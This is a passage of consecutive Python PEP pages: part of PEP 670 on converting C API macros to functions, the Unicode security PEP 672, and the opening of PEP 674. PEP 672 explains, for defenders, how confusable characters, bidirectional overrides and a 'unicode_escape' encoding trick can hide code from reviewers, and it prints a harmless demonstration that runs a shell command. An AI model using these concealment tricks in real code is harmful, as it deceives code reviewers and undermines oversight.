workarounds for macro pitfalls, making them usually easier to read and to maintain than similar macro code: Adding parentheses around arguments. Using line continuation characters if the function is written on multiple lines. Adding commas to execute multiple expressions. Using do { ... } while (0) to write multiple statements. Argument types and the return type of functions are well defined. Debuggers and profilers can retrieve the name of inlined functions. Debuggers can put breakpoints on inlined functions. Variables have a well-defined scope. Converting macros and static inline functions to regular functions makes these regular functions accessible to projects which use Python but cannot use macros and static inline functions. Specification Convert macros to static inline functions Most macros will be converted to static inline functions. The following macros will not be converted: Object-like macros (i.e. those which don’t need parentheses and arguments). For example: Empty macros. Example: #define Py_HAVE_CONDVAR. Macros only defining a value, even if a constant with a well defined type would be better. Example: #define METH_VARARGS 0x0001. Compatibility layer for different C compilers, C language extensions, or recent C features. Example: Py_GCC_ATTRIBUTE(), Py_ALWAYS_INLINE, Py_MEMCPY(). Macros used for definitions rather than behavior. Example: PyAPI_FUNC, Py_DEPRECATED, Py_PYTHON_H. Macros that need C preprocessor features, like stringification and concatenation. Example: Py_STRINGIFY(). Macros which cannot be converted to functions. Examples: Py_BEGIN_ALLOW_THREADS (contains an unpaired }), Py_VISIT (relies on specific variable names), Py_RETURN_RICHCOMPARE (returns from the calling function). Macros which can be used as an l-value in assignments. This would be an incompatible change and is out of the scope of this PEP. Example: PyBytes_AS_STRING(). Macros which have different return types depending on the code path or arguments. Convert static inline functions to regular functions Static inline functions in the public C API may be converted to regular functions, but only if there is no measurable performance impact of changing the function. The performance impact should be measured with benchmarks. Cast pointer arguments Currently, most macros accepting pointers cast pointer arguments to their expected types. For example, in Python 3.6, the Py_TYPE() macro casts its argument to PyObject*: #define Py_TYPE(ob) (((PyObject*)(ob))->ob_type) The Py_TYPE() macro accepts the PyObject* type, but also any pointer types, such as PyLongObject* and PyDictObject*. Functions are strongly typed, and can only accept one type of argument. To avoid compiler errors and warnings in existing code, when a macro is converted to a function and the macro casts at least one of its arguments a new macro will be added to keep the cast. The new macro and the function will have the same name. Example with the Py_TYPE() macro converted to a static inline function: static inline PyTypeObject* Py_TYPE(PyObject *ob) { return ob->ob_type; } #define Py_TYPE(ob) Py_TYPE((PyObject*)(ob)) The cast is kept for all pointer types, not only PyObject*. This includes casts to void*: removing a cast to void* would emit a new warning if the function is called with a const void* variable. For example, the PyUnicode_WRITE() macro casts its data argument to void*, and so it currently accepts const void* type, even though it writes into data. This PEP will not change this. Avoid the cast in the limited C API version 3.11 The casts will be excluded from the limited C API version 3.11 and newer. When an API user opts into the new limited API, they must pass the expected type or perform the cast. As an example, Py_TYPE() will be defined like this: static inline PyTypeObject* Py_TYPE(PyObject *ob) { return ob->ob_type; } #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 < 0x030b0000 # define Py_TYPE(ob) Py_TYPE((PyObject*)(ob)) #endif Return type is not changed When a macro is converted to a function, its return type must not change to prevent emitting new compiler warnings. For example, Python 3.7 changed the return type of PyUnicode_AsUTF8() from char* to const char* (commit). The change emitted new compiler warnings when building C extensions expecting char*. This PEP doesn’t change the return type to prevent this issue. Backwards Compatibility The PEP is designed to avoid C API incompatible changes. Only C extensions explicitly targeting the limited C API version 3.11 must now pass the expected types to functions: pointer arguments are no longer cast to the expected types. Function arguments of pointer types are still cast and return types are not changed to prevent emitting new compiler warnings. Macros which can be used as l-value in an assignment are not modified by this PEP to avoid incompatible changes. Examples of Macro Pitfalls Duplication of side effects Macros: #define PySet_Check(ob) \ (Py_IS_TYPE(ob, &PySet_Type) \ || PyType_IsSubtype(Py_TYPE(ob), &PySet_Type)) #define Py_IS_NAN(X) ((X) != (X)) If the op or the X argument has a side effect, the side effect is duplicated: it executed twice by PySet_Check() and Py_IS_NAN(). For example, the pos++ argument in the PyUnicode_WRITE(kind, data, pos++, ch) code has a side effect. This code is safe because the PyUnicode_WRITE() macro only uses its 3rd argument once and so does not duplicate pos++ side effect. Misnesting Example of the bpo-43181: Python macros don’t shield arguments. The PyObject_TypeCheck() macro before it has been fixed: #define PyObject_TypeCheck(ob, tp) \ (Py_IS_TYPE(ob, tp) || PyType_IsSubtype(Py_TYPE(ob), (tp))) C++ usage example: PyObject_TypeCheck(ob, U(f<a,b>(c))) The preprocessor first expands it: (Py_IS_TYPE(ob, f<a,b>(c)) || ...) C++ "<" and ">" characters are not treated as brackets by the preprocessor, so the Py_IS_TYPE() macro is invoked with 3 arguments: ob f<a b>(c) The compilation fails with an error on Py_IS_TYPE() which only takes 2 arguments. The bug is that the op and tp arguments of PyObject_TypeCheck() must be put between parentheses: replace Py_IS_TYPE(ob, tp) with Py_IS_TYPE((ob), (tp)). In regular C code, these parentheses are redundant, can be seen as a bug, and so are often forgotten when writing macros. To avoid Macro Pitfalls, the PyObject_TypeCheck() macro has been converted to a static inline function: commit. Examples of hard to read macros PyObject_INIT() Example showing the usage of commas in a macro which has a return value. Python 3.7 macro: #define PyObject_INIT(op, typeobj) \ ( Py_TYPE(op) = (typeobj), _Py_NewReference((PyObject *)(op)), (op) ) Python 3.8 function (simplified code): static inline PyObject* _PyObject_INIT(PyObject *op, PyTypeObject *typeobj) { Py_TYPE(op) = typeobj; _Py_NewReference(op); return op; } #define PyObject_INIT(op, typeobj) \ _PyObject_INIT(_PyObject_CAST(op), (typeobj)) The function doesn’t need the line continuation character "\". It has an explicit "return op;" rather than the surprising ", (op)" syntax at the end of the macro. It uses short statements on multiple lines, rather than being written as a single long line. Inside the function, the op argument has the well defined type PyObject* and so doesn’t need casts like (PyObject *)(op). Arguments don’t need to be put inside parentheses: use typeobj, rather than (typeobj). _Py_NewReference() Example showing the usage of an #ifdef inside a macro. Python 3.7 macro (simplified code): #ifdef COUNT_ALLOCS # define _Py_INC_TPALLOCS(OP) inc_count(Py_TYPE(OP)) # define _Py_COUNT_ALLOCS_COMMA , #else # define _Py_INC_TPALLOCS(OP) # define _Py_COUNT_ALLOCS_COMMA #endif /* COUNT_ALLOCS */ #define _Py_NewReference(op) ( \ _Py_INC_TPALLOCS(op) _Py_COUNT_ALLOCS_COMMA \ Py_REFCNT(op) = 1) Python 3.8 function (simplified code): static inline void _Py_NewReference(PyObject *op) { _Py_INC_TPALLOCS(op); Py_REFCNT(op) = 1; } PyUnicode_READ_CHAR() This macro reuses arguments, and possibly calls PyUnicode_KIND multiple times: #define PyUnicode_READ_CHAR(unicode, index) \ (assert(PyUnicode_Check(unicode)), \ assert(PyUnicode_IS_READY(unicode)), \ (Py_UCS4) \ (PyUnicode_KIND((unicode)) == PyUnicode_1BYTE_KIND ? \ ((const Py_UCS1 *)(PyUnicode_DATA((unicode))))[(index)] : \ (PyUnicode_KIND((unicode)) == PyUnicode_2BYTE_KIND ? \ ((const Py_UCS2 *)(PyUnicode_DATA((unicode))))[(index)] : \ ((const Py_UCS4 *)(PyUnicode_DATA((unicode))))[(index)] \ ) \ )) Possible implementation as a static inlined function: static inline Py_UCS4 PyUnicode_READ_CHAR(PyObject *unicode, Py_ssize_t index) { assert(PyUnicode_Check(unicode)); assert(PyUnicode_IS_READY(unicode)); switch (PyUnicode_KIND(unicode)) { case PyUnicode_1BYTE_KIND: return (Py_UCS4)((const Py_UCS1 *)(PyUnicode_DATA(unicode)))[index]; case PyUnicode_2BYTE_KIND: return (Py_UCS4)((const Py_UCS2 *)(PyUnicode_DATA(unicode)))[index]; case PyUnicode_4BYTE_KIND: default: return (Py_UCS4)((const Py_UCS4 *)(PyUnicode_DATA(unicode)))[index]; } } Macros converted to functions since Python 3.8 This is a list of macros already converted to functions between Python 3.8 and Python 3.11. Even though some converted macros (like Py_INCREF()) are very commonly used by C extensions, these conversions did not significantly impact Python performance and most of them didn’t break backward compatibility. Macros converted to static inline functions Python 3.8: Py_DECREF() Py_INCREF() Py_XDECREF() Py_XINCREF() PyObject_INIT() PyObject_INIT_VAR() _PyObject_GC_UNTRACK() _Py_Dealloc() Macros converted to regular functions Python 3.9: PyIndex_Check() PyObject_CheckBuffer() PyObject_GET_WEAKREFS_LISTPTR() PyObject_IS_GC() PyObject_NEW(): alias to PyObject_New() PyObject_NEW_VAR(): alias to PyObjectVar_New() To avoid performance slowdown on Python built without LTO, private static inline functions have been added to the internal C API: _PyIndex_Check() _PyObject_IS_GC() _PyType_HasFeature() _PyType_IS_GC() Static inline functions converted to regular functions Python 3.11: PyObject_CallOneArg() PyObject_Vectorcall() PyVectorcall_Function() _PyObject_FastCall() To avoid performance slowdown on Python built without LTO, a private static inline function has been added to the internal C API: _PyVectorcall_FunctionInline() Incompatible changes While other converted macros didn’t break the backward compatibility, there is an exception. The 3 macros Py_REFCNT(), Py_TYPE() and Py_SIZE() have been converted to static inline functions in Python 3.10 and 3.11 to disallow using them as l-value in assignment. It is an incompatible change made on purpose: see bpo-39573 for the rationale. This PEP does not propose converting macros which can be used as l-value to avoid introducing new incompatible changes. Performance concerns and benchmarks There have been concerns that converting macros to functions can degrade performance. This section explains performance concerns and shows benchmark results using PR 29728, which replaces the following static inline functions with macros: PyObject_TypeCheck() PyType_Check(), PyType_CheckExact() PyType_HasFeature() PyVectorcall_NARGS() Py_DECREF(), Py_XDECREF() Py_INCREF(), Py_XINCREF() Py_IS_TYPE() Py_NewRef() Py_REFCNT(), Py_TYPE(), Py_SIZE() The benchmarks were run on Fedora 35 (Linux) with GCC 11 on a laptop with 8 logical CPUs (4 physical CPU cores). Static inline functions First of all, converting macros to static inline functions has negligible impact on performance: the measured differences are consistent with noise due to unrelated factors. Static inline functions are a new feature in the C99 standard. Modern C compilers have efficient heuristics to decide if a function should be inlined or not. When a C compiler decides to not inline, there is likely a good reason. For example, inlining would reuse a register which requires to save/restore the register value on the stack and so increases the stack memory usage, or be less efficient. Benchmark of the ./python -m test -j5 command on Python built in release mode with gcc -O3, LTO and PGO: Macros (PR 29728): 361 sec +- 1 sec Static inline functions (reference): 361 sec +- 1 sec There is no significant performance difference between macros and static inline functions when static inline functions are inlined. Debug build Performance in debug builds can suffer when macros are converted to functions. This is compensated by better debuggability: debuggers can retrieve function names, set breakpoints inside functions, etc. On Windows, when Python is built in debug mode by Visual Studio, static inline functions are not inlined. On other platforms, ./configure --with-pydebug uses the -Og compiler option on compilers that support it (including GCC and LLVM Clang). -Og means “optimize debugging experience”. Otherwise, the -O0 compiler option is used. -O0 means “disable most optimizations”. With GCC 11, gcc -Og can inline static inline functions, whereas gcc -O0 does not inline static inline functions. Benchmark of the ./python -m test -j10 command on Python built in debug mode with gcc -O0 (that is, compiler optimizations, including inlining, are explicitly disabled): Macros (PR 29728): 345 sec ± 5 sec Static inline functions (reference): 360 sec ± 6 sec Replacing macros with static inline functions makes Python 1.04x slower when the compiler does not inline static inline functions. Note that benchmarks should not be run on a Python debug build. Moreover, using link-time optimization (LTO) and profile-guided optimization (PGO) is recommended for best performance and reliable benchmarks. PGO helps the compiler to decide if functions should be inlined or not. Force inlining The Py_ALWAYS_INLINE macro can be used to force inlining. This macro uses __attribute__((always_inline)) with GCC and Clang, and __forceinline with MSC. Previous attempts to use Py_ALWAYS_INLINE didn’t show any benefit, and were abandoned. See for example bpo-45094 “Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug build”. When the Py_INCREF() macro was converted to a static inline function in 2018 (commit), it was decided not to force inlining. The machine code was analyzed with multiple C compilers and compiler options, and Py_INCREF() was always inlined without having to force inlining. The only case where it was not inlined was the debug build. See discussion in bpo-35059 “Convert Py_INCREF() and PyObject_INIT() to inlined functions”. Disabling inlining On the other side, the Py_NO_INLINE macro can be used to disable inlining. It can be used to reduce the stack memory usage, or to prevent inlining on LTO+PGO builds, which generally inline code more aggressively: see bpo-33720. The Py_NO_INLINE macro uses __attribute__ ((noinline)) with GCC and Clang, and __declspec(noinline) with MSC. This technique is available, though we currently don’t know a concrete function for which it would be useful. Note that with macros, it is not possible to disable inlining at all. Rejected Ideas Keep macros, but fix some macro issues Macros are always “inlined” with any C compiler. The duplication of side effects can be worked around in the caller of the macro. People using macros should be considered “consenting adults”. People who feel unsafe with macros should simply not use them. These ideas are rejected because macros are error prone, and it is too easy to miss a macro pitfall when writing and reviewing macro code. Moreover, macros are harder to read and maintain than functions. Post History python-dev mailing list threads: Version 2 of PEP 670 - Convert macros to functions in the Python C API (February 2022) Steering Council reply to PEP 670 – Convert macros to functions in the Python C API (February 2022) PEP 670: Convert macros to functions in the Python C API (October 2021) References bpo-45490: [C API] PEP 670: Convert macros to functions in the Python C API (October 2021). What to do with unsafe macros (March 2021). bpo-43502: [C-API] Convert obvious unsafe macros to static inline functions (March 2021). Version History Version 2: Stricter policy on not changing argument types and return type. Better explain why pointer arguments require a cast to not emit new compiler warnings. Macros which can be used as l-values are no longer modified by the PEP. Macros having multiple return types are no longer modified by the PEP. Limited C API version 3.11 no longer casts pointer arguments. No longer remove return values of macros “which should not have a return value”. Add “Macros converted to functions since Python 3.8” section. Add “Benchmark comparing macros and static inline functions” section. Version 1: First public version Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Final

PEP 670 – Convert macros to functions in the Python C API

Standards Track

Macros in the C API will be converted to static inline functions or regular functions. This will help avoid macro pitfalls in C/C++, and make the functions usable from other programming languages.

PEP 672 – Unicode-related Security Considerations for Python Author: Petr Viktorin <encukou at gmail.com> Status: Active Type: Informational Created: 01-Nov-2021 Post-History: 01-Nov-2021 Table of Contents Abstract Introduction Acknowledgement Confusing Features ASCII-only Considerations Confusables and Typos Control Characters Confusable Characters in Identifiers Confusable Digits Bidirectional Text Bidirectional Marks, Embeddings, Overrides and Isolates Normalizing identifiers Source Encoding Open Issues References Copyright Abstract This document explains possible ways to misuse Unicode to write Python programs that appear to do something else than they actually do. This document does not give any recommendations and solutions. Introduction Unicode is a system for handling all kinds of written language. It aims to allow any character from any human language to be used. Python code may consist of almost all valid Unicode characters. While this allows programmers from all around the world to express themselves, it also allows writing code that is potentially confusing to readers. It is possible to misuse Python’s Unicode-related features to write code that appears to do something else than what it does. Evildoers could take advantage of this to trick code reviewers into accepting malicious code. The possible issues generally can’t be solved in Python itself without excessive restrictions of the language. They should be solved in code editors and review tools (such as diff displays), by enforcing project-specific policies, and by raising awareness of individual programmers. This document purposefully does not give any solutions or recommendations: it is rather a list of things to keep in mind. This document is specific to Python. For general security considerations in Unicode text, see [tr36] and [tr39]. Acknowledgement Investigation for this document was prompted by CVE-2021-42574, Trojan Source Attacks, reported by Nicholas Boucher and Ross Anderson, which focuses on Bidirectional override characters and homoglyphs in a variety of programming languages. Confusing Features This section lists some Unicode-related features that can be surprising or misusable. ASCII-only Considerations ASCII is a subset of Unicode, consisting of the most common symbols, numbers, Latin letters and control characters. While issues with the ASCII character set are generally well understood, the’re presented here to help better understanding of the non-ASCII cases. Confusables and Typos Some characters look alike. Before the age of computers, many mechanical typewriters lacked the keys for the digits 0 and 1: users typed O (capital o) and l (lowercase L) instead. Human readers could tell them apart by context only. In programming languages, however, distinction between digits and letters is critical – and most fonts designed for programmers make it easy to tell them apart. Similarly, in fonts designed for human languages, the uppercase “I” and lowercase “l” can look similar. Or the letters “rn” may be virtually indistinguishable from the single letter “m”. Again, programmers’ fonts make these pairs of confusables noticeably different. However, what is “noticeably” different always depends on the context. Humans tend to ignore details in longer identifiers: the variable name accessibi1ity_options can still look indistinguishable from accessibility_options, while they are distinct for the compiler. The same can be said for plain typos: most humans will not notice the typo in responsbility_chain_delegate. Control Characters Python generally considers all CR (\r), LF (\n), and CR-LF pairs (\r\n) as an end of line characters. Most code editors do as well, but there are editors that display “non-native” line endings as unknown characters (or nothing at all), rather than ending the line, displaying this example: # Don't call this function: fire_the_missiles() as a harmless comment like: # Don't call this function:⬛fire_the_missiles() CPython may treat the control character NUL (\0) as end of input, but many editors simply skip it, possibly showing code that Python will not run as a regular part of a file. Some characters can be used to hide/overwrite other characters when source is listed in common terminals. For example: BS (\b, Backspace) moves the cursor back, so the character after it will overwrite the character before. CR (\r, carriage return) moves the cursor to the start of line, subsequent characters overwrite the start of the line. SUB (\x1A, Ctrl+Z) means “End of text” on Windows. Some programs (such as type) ignore the rest of the file after it. ESC (\x1B) commonly initiates escape codes which allow arbitrary control of the terminal. Confusable Characters in Identifiers Python is not limited to ASCII. It allows characters of all scripts – Latin letters to ancient Egyptian hieroglyphs – in identifiers (such as variable names). See PEP 3131 for details and rationale. Only “letters and numbers” are allowed, so while γάτα is a valid Python identifier, 🐱 is not. (See Identifiers and keywords for details.) Non-printing control characters are also not allowed in identifiers. However, within the allowed set there is a large number of “confusables”. For example, the uppercase versions of the Latin b, Greek β (Beta), and Cyrillic в (Ve) often look identical: B, Β and В, respectively. This allows identifiers that look the same to humans, but not to Python. For example, all of the following are distinct identifiers: scope (Latin, ASCII-only) scоpe (with a Cyrillic о) scοpe (with a Greek ο) ѕсоре (all Cyrillic letters) Additionally, some letters can look like non-letters: The letter for the Hawaiian ʻokina looks like an apostrophe; ʻHelloʻ is a Python identifier, not a string. The East Asian word for ten looks like a plus sign, so 十= 10 is a complete Python statement. (The “十” is a word: “ten” rather than “10”.) Note The converse also applies – some symbols look like letters – but since Python does not allow arbitrary symbols in identifiers, this is not an issue. Confusable Digits Numeric literals in Python only use the ASCII digits 0-9 (and non-digits such as . or e). However, when numbers are converted from strings, such as in the int and float constructors or by the str.format method, any decimal digit can be used. For example ߅ (NKO DIGIT FIVE) or ௫ (TAMIL DIGIT FIVE) work as the digit 5. Some scripts include digits that look similar to ASCII ones, but have a different value. For example: >>> int('৪୨') 42 >>> '{٥}'.format('zero', 'one', 'two', 'three', 'four', 'five') five Bidirectional Text Some scripts, such as Hebrew or Arabic, are written right-to-left. Phrases in such scripts interact with nearby text in ways that can be surprising to people who aren’t familiar with these writing systems and their computer representation. The exact process is complicated, and explained in Unicode Standard Annex #9, Unicode Bidirectional Algorithm. Consider the following code, which assigns a 100-character string to the variable s: s = "X" * 100 # "X" is assigned When the X is replaced by the Hebrew letter א, the line becomes: s = "א" * 100 # "א" is assigned This command still assigns a 100-character string to s, but when displayed as general text following the Bidirectional Algorithm (e.g. in a browser), it appears as s = "א" followed by a comment. Other surprising examples include: In the statement ערך = 23, the variable ערך is set to the integer 23. In the statement قيمة = ערך, the variable قيمة is set to the value of ערך. In the statement قيمة - (ערך ** 2), the value of ערך is squared and then subtracted from قيمة. The opening parenthesis is displayed as ). Bidirectional Marks, Embeddings, Overrides and Isolates Default reordering rules do not always yield the intended direction of text, so Unicode provides several ways to alter it. The most basic are directional marks, which are invisible but affect text as a left-to-right (or right-to-left) character would. Continuing with the s = "X" example above, in the next example the X is replaced by the Latin x followed or preceded by a right-to-left mark (U+200F). This assigns a 200-character string to s (100 copies of x interspersed with 100 invisible marks), but under Unicode rules for general text, it is rendered as s = "x" followed by an ASCII-only comment: s = "x‏" * 100 # "‏x" is assigned The directional embedding, override and isolate characters are also invisible, but affect the ordering of all text after them until either ended by a dedicated character, or until the end of line. (Unicode specifies the effect to last until the end of a “paragraph” (see Unicode Bidirectional Algorithm), but allows tools to interpret newline characters as paragraph ends (see Unicode Newline Guidelines). Most code editors and terminals do so.) These characters essentially allow arbitrary reordering of the text that follows them. Python only allows them in strings and comments, which does limit their potential (especially in combination with the fact that Python’s comments always extend to the end of a line), but it doesn’t render them harmless. Normalizing identifiers Python strings are collections of Unicode codepoints, not “characters”. For reasons like compatibility with earlier encodings, Unicode often has several ways to encode what is essentially a single “character”. For example, all these are different ways of writing Å as a Python string, each of which is unequal to the others. "\N{LATIN CAPITAL LETTER A WITH RING ABOVE}" (1 codepoint) "\N{LATIN CAPITAL LETTER A}\N{COMBINING RING ABOVE}" (2 codepoints) "\N{ANGSTROM SIGN}" (1 codepoint, but different) For another example, the ligature fi has a dedicated Unicode codepoint, even though it has the same meaning as the two letters fi. Also, common letters frequently have several distinct variations. Unicode provides them for contexts where the difference has some semantic meaning, like mathematics. For example, some variations of n are: n (LATIN SMALL LETTER N) 𝐧 (MATHEMATICAL BOLD SMALL N) 𝘯 (MATHEMATICAL SANS-SERIF ITALIC SMALL N) ｎ (FULLWIDTH LATIN SMALL LETTER N) ⁿ (SUPERSCRIPT LATIN SMALL LETTER N) Unicode includes algorithms to normalize variants like these to a single form, and Python identifiers are normalized. (There are several normal forms; Python uses NFKC.) For example, xn and xⁿ are the same identifier in Python: >>> xⁿ = 8 >>> xn 8 … as is fi and fi, and as are the different ways to encode Å. This normalization applies only to identifiers, however. Functions that treat strings as identifiers, such as getattr, do not perform normalization: >>> class Test: ... def finalize(self): ... print('OK') ... >>> Test().finalize() OK >>> Test().finalize() OK >>> getattr(Test(), 'finalize') Traceback (most recent call last): ... AttributeError: 'Test' object has no attribute 'finalize' This also applies when importing: import finalization performs normalization, and looks for a file named finalization.py (and other finalization.* files). importlib.import_module("finalization") does not normalize, so it looks for a file named finalization.py. Some filesystems independently apply normalization and/or case folding. On some systems, finalization.py, finalization.py and FINALIZATION.py are three distinct filenames; on others, some or all of these name the same file. Source Encoding The encoding of Python source files is given by a specific regex on the first two lines of a file, as per Encoding declarations. This mechanism is very liberal in what it accepts, and thus easy to obfuscate. This can be misused in combination with Python-specific special-purpose encodings (see Text Encodings). For example, with encoding: unicode_escape, characters like quotes or braces can be hidden in an (f-)string, with many tools (syntax highlighters, linters, etc.) considering them part of the string. For example: # For writing Japanese, you don't need an editor that supports # UTF-8 source encoding: unicode_escape sequences work just as well. import os message = ''' This is "Hello World" in Japanese: \u3053\u3093\u306b\u3061\u306f\u7f8e\u3057\u3044\u4e16\u754c This runs `echo WHOA` in your shell: \u0027\u0027\u0027\u002c\u0028\u006f\u0073\u002e \u0073\u0079\u0073\u0074\u0065\u006d\u0028 \u0027\u0065\u0063\u0068\u006f\u0020\u0057\u0048\u004f\u0041\u0027 \u0029\u0029\u002c\u0027\u0027\u0027 ''' Here, encoding: unicode_escape in the initial comment is an encoding declaration. The unicode_escape encoding instructs Python to treat \u0027 as a single quote (which can start/end a string), \u002c as a comma (punctuator), etc. Open Issues We should probably write and publish: Recommendations for Text Editors and Code Tools Recommendations for Programmers and Teams Possible Improvements in Python References [tr36] Unicode Technical Report #36: Unicode Security Considerations http://www.unicode.org/reports/tr36/ [tr39] Unicode® Technical Standard #39: Unicode Security Mechanisms http://www.unicode.org/reports/tr39/ Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Active

PEP 672 – Unicode-related Security Considerations for Python

Informational

This document explains possible ways to misuse Unicode to write Python programs that appear to do something else than they actually do.

PEP 674 – Disallow using macros as l-values Author: Victor Stinner <vstinner at python.org> Status: Deferred Type: Standards Track Created: 30-Nov-2021 Python-Version: 3.12 Table of Contents Abstract PEP Deferral Rationale Using a macro as a an l-value CPython nogil fork HPy project GraalVM Python Specification Disallow using macros as l-values PyObject and PyVarObject macros GET macros AS macros PyUnicode macros PyDateTime GET macros Port C extensions to Python 3.11 PyTuple_GET_ITEM() and PyList_GET_ITEM() are left unchanged PyDescr_NAME() and PyDescr_TYPE() are left unchanged Implementation Py_TYPE() and Py_SIZE() macros Backwards Compatibility Statistics Top 5000 PyPI Other affected projects Relationship with the HPy project The HPy project The C API is here is stay for a few more years Rejected Idea: Leave the macros as they are Macros already modified Post History References Version History Copyright Abstract Disallow using macros as l-values. For example, Py_TYPE(obj) = new_type now fails with a compiler error. In practice, the majority of affected projects only have to make two changes: Replace Py_TYPE(obj) = new_type with Py_SET_TYPE(obj, new_type). Replace Py_SIZE(obj) = new_size with Py_SET_SIZE(obj, new_size). PEP Deferral See SC reply to PEP 674 – Disallow using macros as l-values (February 2022). Rationale Using a macro as a an l-value In the Python C API, some functions are implemented as macro because writing a macro is simpler than writing a regular function. If a macro exposes directly a structure member, it is technically possible to use this macro to not only get the structure member but also set it. Example with the Python 3.10 Py_TYPE() macro: #define Py_TYPE(ob) (((PyObject *)(ob))->ob_type) This macro can be used as a r-value to get an object type: type = Py_TYPE(object); It can also be used as an l-value to set an object type: Py_TYPE(object) = new_type; It is also possible to set an object reference count and an object size using Py_REFCNT() and Py_SIZE() macros. Setting directly an object attribute relies on the current exact CPython implementation. Implementing this feature in other Python implementations can make their C API implementation less efficient. CPython nogil fork Sam Gross forked Python 3.9 to remove the GIL: the nogil branch. This fork has no PyObject.ob_refcnt member, but a more elaborated implementation for reference counting, and so the Py_REFCNT(obj) = new_refcnt; code fails with a compiler error. Merging the nogil fork into the upstream CPython main branch requires first to fix this C API compatibility issue. It is a concrete example of a Python optimization blocked indirectly by the C API. This issue was already fixed in Python 3.10: the Py_REFCNT() macro has been already modified to disallow using it as an l-value. These statements are endorsed by Sam Gross (nogil developer). HPy project The HPy project is a brand new C API for Python using only handles and function calls: handles are opaque, structure members cannot be accessed directly, and pointers cannot be dereferenced. Searching and replacing Py_SET_SIZE() is easier and safer than searching and replacing some strange macro uses of Py_SIZE(). Py_SIZE() can be semi-mechanically replaced by HPy_Length(), whereas seeing Py_SET_SIZE() would immediately make clear that the code needs bigger changes in order to be ported to HPy (for example by using HPyTupleBuilder or HPyListBuilder). The fewer internal details exposed via macros, the easier it will be for HPy to provide direct equivalents. Any macro that references “non-public” interfaces effectively exposes those interfaces publicly. These statements are endorsed by Antonio Cuni (HPy developer). GraalVM Python In GraalVM, when a Python object is accessed by the Python C API, the C API emulation layer has to wrap the GraalVM objects into wrappers that expose the internal structure of the CPython structures (PyObject, PyLongObject, PyTypeObject, etc). This is because when the C code accesses it directly or via macros, all GraalVM can intercept is a read at the struct offset, which has to be mapped back to the representation in GraalVM. The smaller the “effective” number of exposed struct members (by replacing macros with functions), the simpler GraalVM wrappers can be. This PEP alone is not enough to get rid of the wrappers in GraalVM, but it is a step towards this long term goal. GraalVM already supports HPy which is a better solution in the long term. These statements are endorsed by Tim Felgentreff (GraalVM Python developer). Specification Disallow using macros as l-values The following 65 macros are modified to disallow using them as l-values. PyObject and PyVarObject macros Py_TYPE(): Py_SET_TYPE() must be used instead Py_SIZE(): Py_SET_SIZE() must be used instead GET macros PyByteArray_GET_SIZE() PyBytes_GET_SIZE() PyCFunction_GET_CLASS() PyCFunction_GET_FLAGS() PyCFunction_GET_FUNCTION() PyCFunction_GET_SELF() PyCell_GET() PyCode_GetNumFree() PyDict_GET_SIZE() PyFunction_GET_ANNOTATIONS() PyFunction_GET_CLOSURE() PyFunction_GET_CODE() PyFunction_GET_DEFAULTS() PyFunction_GET_GLOBALS() PyFunction_GET_KW_DEFAULTS() PyFunction_GET_MODULE() PyHeapType_GET_MEMBERS() PyInstanceMethod_GET_FUNCTION() PyList_GET_SIZE() PyMemoryView_GET_BASE() PyMemoryView_GET_BUFFER() PyMethod_GET_FUNCTION() PyMethod_GET_SELF() PySet_GET_SIZE() PyTuple_GET_SIZE() PyUnicode_GET_DATA_SIZE() PyUnicode_GET_LENGTH() PyUnicode_GET_LENGTH() PyUnicode_GET_SIZE() PyWeakref_GET_OBJECT() AS macros PyByteArray_AS_STRING() PyBytes_AS_STRING() PyFloat_AS_DOUBLE() PyUnicode_AS_DATA() PyUnicode_AS_UNICODE() PyUnicode macros PyUnicode_1BYTE_DATA() PyUnicode_2BYTE_DATA() PyUnicode_4BYTE_DATA() PyUnicode_DATA() PyUnicode_IS_ASCII() PyUnicode_IS_COMPACT() PyUnicode_IS_READY() PyUnicode_KIND() PyUnicode_READ() PyUnicode_READ_CHAR() PyDateTime GET macros PyDateTime_DATE_GET_FOLD() PyDateTime_DATE_GET_HOUR() PyDateTime_DATE_GET_MICROSECOND() PyDateTime_DATE_GET_MINUTE() PyDateTime_DATE_GET_SECOND() PyDateTime_DATE_GET_TZINFO() PyDateTime_DELTA_GET_DAYS() PyDateTime_DELTA_GET_MICROSECONDS() PyDateTime_DELTA_GET_SECONDS() PyDateTime_GET_DAY() PyDateTime_GET_MONTH() PyDateTime_GET_YEAR() PyDateTime_TIME_GET_FOLD() PyDateTime_TIME_GET_HOUR() PyDateTime_TIME_GET_MICROSECOND() PyDateTime_TIME_GET_MINUTE() PyDateTime_TIME_GET_SECOND() PyDateTime_TIME_GET_TZINFO() Port C extensions to Python 3.11 In practice, the majority of projects affected by these PEP only have to make two changes: Replace Py_TYPE(obj) = new_type with Py_SET_TYPE(obj, new_type). Replace Py_SIZE(obj) = new_size with Py_SET_SIZE(obj, new_size). The pythoncapi_compat project can be used to update automatically C extensions: add Python 3.11 support without losing support with older Python versions. The project provides a header file which provides Py_SET_REFCNT(), Py_SET_TYPE() and Py_SET_SIZE() functions to Python 3.8 and older. PyTuple_GET_ITEM() and PyList_GET_ITEM() are left unchanged The PyTuple_GET_ITEM() and PyList_GET_ITEM() macros are left unchanged. The code patterns &PyTuple_GET_ITEM(tuple, 0) and &PyList_GET_ITEM(list, 0) are still commonly used to get access to the inner PyObject** array. Changing these macros is out of the scope of this PEP. PyDescr_NAME() and PyDescr_TYPE() are left unchanged The PyDescr_NAME() and PyDescr_TYPE() macros are left unchanged. These macros give access to PyDescrObject.d_name and PyDescrObject.d_type members. They can be used as l-values to set these members. The SWIG project uses these macros as l-values to set these members. It would be possible to modify SWIG to prevent setting PyDescrObject structure members directly, but it is not really worth it since the PyDescrObject structure is not performance critical and is unlikely to change soon. See the bpo-46538 “[C API] Make the PyDescrObject structure opaque: PyDescr_NAME() and PyDescr_TYPE()” issue for more details. Implementation The implementation is tracked by bpo-45476: [C API] PEP 674: Disallow using macros as l-values. Py_TYPE() and Py_SIZE() macros In May 2020, the Py_TYPE() and Py_SIZE() macros have been modified to disallow using them as l-values (Py_TYPE, Py_SIZE). In November 2020, the change was reverted, since it broke too many third party projects. In June 2021, once most third party projects were updated, a second attempt was done, but had to be reverted again , since it broke test_exceptions on Windows. In September 2021, once test_exceptions has been fixed, Py_TYPE() and Py_SIZE() were finally changed. In November 2021, this backward incompatible change got a Steering Council exception. In October 2022, Python 3.11 got released with Py_TYPE() and Py_SIZE() incompatible changes. Backwards 